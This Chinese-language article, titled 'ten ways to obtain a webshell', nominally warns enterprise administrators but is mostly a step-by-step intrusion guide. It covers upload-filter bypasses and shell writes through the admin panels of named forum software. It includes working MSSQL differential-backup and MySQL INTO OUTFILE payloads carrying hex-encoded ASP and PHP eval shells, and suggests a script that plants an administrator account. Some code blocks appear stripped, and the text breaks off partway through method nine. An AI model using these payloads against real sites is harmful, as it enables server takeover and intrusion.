获取webshell的十种方法

黑客在入侵企业网站时，通常要通过各种方式获取webshell从而获得企业网站的控制权，然后方便进行之后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法，希望广大的企业网络管理员能够通过了解获取webshell的途径，对企业自身进行防范。

一、通过上传文件类型过滤漏洞获取webshell

 由于未采用白名单过滤文件类型，导致asa,cer,等文件类型，未进行限制，asa,cer类型文件的映射处理默认跟asp映射处理一样，将webshell伪装成该种类型的文件上传即可

二、结合Burp Suite工具，修改上传文件信息，逃避验证

现在很多的脚本程序上传模块不是只允许上传合法文件类型，而大多数的系统是允许添加上传类型 php.g1f的上传类型，这是php的一个特性，最后的哪个 只要不是已知的文件类型即可，php会将php.g1f作为。php来正常运行，从而也可成功拿到shell.LeadBbs3.14后台获得 webshell方法是：在上传类型中增加asp ，注意，asp后面是有个空格的，然后在前台上传ASP马，当然也要在后面加个空格！

三、利用后台管理功能写入webshell

上传漏洞基本上补的也差不多了，所以我们进入后台后还可以通过修改相关文件来写入webshell.比较的典型的有dvbbs6.0，还有 leadbbs2.88等，直接在后台修改配置文件，写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是：添加一个新 的友情链接，在网站名称处写上冰狐最小马即可，最小马前后要随便输入一些字符，http：\\网站\inc\IncHtm\BoardLink.asp就 是我们想要的shell.

四、利用xpcmd..命令生成webshell

五、利用后台数据库备份及恢复获取webshell

主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能，“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站asp文件为其 他后缀 如。txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，利用此方法来查看源代码来获得其数据库的位置，为数据库插马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管 理中可以插入最小马然后备份成。asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在。asp文件头加 上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp木马文件头，修改 gif后缀后上传也可以突破检测，然后备份为。asp文件，成功得到webshell.

六、利用数据库压缩功能

可以将数据的防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写 上， 提交后，在数据库操作中压缩数据库，可以成功压缩出。asp文件，用海洋的最小马的eval客户端连就得到一个webshell.

七、mssql系统差异备份生成webshell

这里需要提一点动网mssql版，但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片，然后记住其上传路径。写一个本地提 交的表单，代码如下：

已上传文件的位置：

要复制到的位置：

差异备份的主要代码：

；declare @a sysname，@s varchar（4000） select @a=db_name（），@s=0x626273 backup database @a to disk=@s—— ；Drop table [heige]；create table [dbo].[heige] （[cmd] [image]）—— ；insert into heige（cmd） values（0x3C2565786563757465207265717565737428226C2229253E）—— ；declare @a sysname，@s varchar（4000） select @a=db_name（），@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL，FORMAT——这段代码中，0x626273是要备份的库名bbs的十六进制，可以是其他名字比如bbs.bak； 0x3C2565786563757465207265717565737428226C2229253E是的十六进制，是lp最小马；0x643A5C7765625C312E617370是d：\web\1.asp的十六 进制，也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell，唯一的不足就是备份后的文件过大，如果备份数据库中 有防下载的的数据表，或者有错误的asp代码，备份出来的webshell就不会成功运行，利用差异备份是成功率比较高的方法，并且极大的减少备份文件的 大小。

八、php+mysql系统

后台需要有mysql数据查询功能，我们就可以利用它执行SELECT …… INTO OUTFILE查询输出php文件，因为所有的数据是存放在mysql里的，所以我们可以通过正常手段把我们的webshell代码插入mysql在利用 SELECT …… INTO OUTFILE语句导出shell.在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径‘ 就可以获得了一个的最小马' 0x3C3F6576616C28245F504F53545B615D293B3F3E 是我们的十六进制，这种方法对phpmyadmin比较普遍，先利用phpmyadmin的路径泄 露漏洞，比较典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php.

就可以暴出路径，php环境中比较容易暴出绝对路径：）。提一点的是遇到是mysql在win系统下路径应该这样写d：\\wwwroot \\a.php.下面的方法是比较常用的一个导出webshell的方法，也可以写个vbs添加系统管理员的脚本导出到启动文件夹，系统重起后就会添加一 个管理员帐号CREATE TABLE a（cmd text NOT NULL）

INSERT INTO a（cmd） VALUES（''）

select cmd from a into outfile '路径/b.php' DROP TABLE IF EXISTS a访问b.php就会生成一个的最小马。

如果遇到可以执行php命令就简单多了，典型的代表是BO-BLOG，在后台的php命令框输入以下代码：

就会在up目录下生成文件名为saiy.php内容为的最小php木马，最后用lanker 的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代 码 将会在当前目录生成一个a.php的最小马。

九、phpwind论坛从后台到webshell的三种方式

方式1 模板法进入后台， 风格模版设置 ，在随便一行写代码，记住，这代码必须顶着左边行写，代码前面不可以有任何字符。

EOT；eval（$a）；print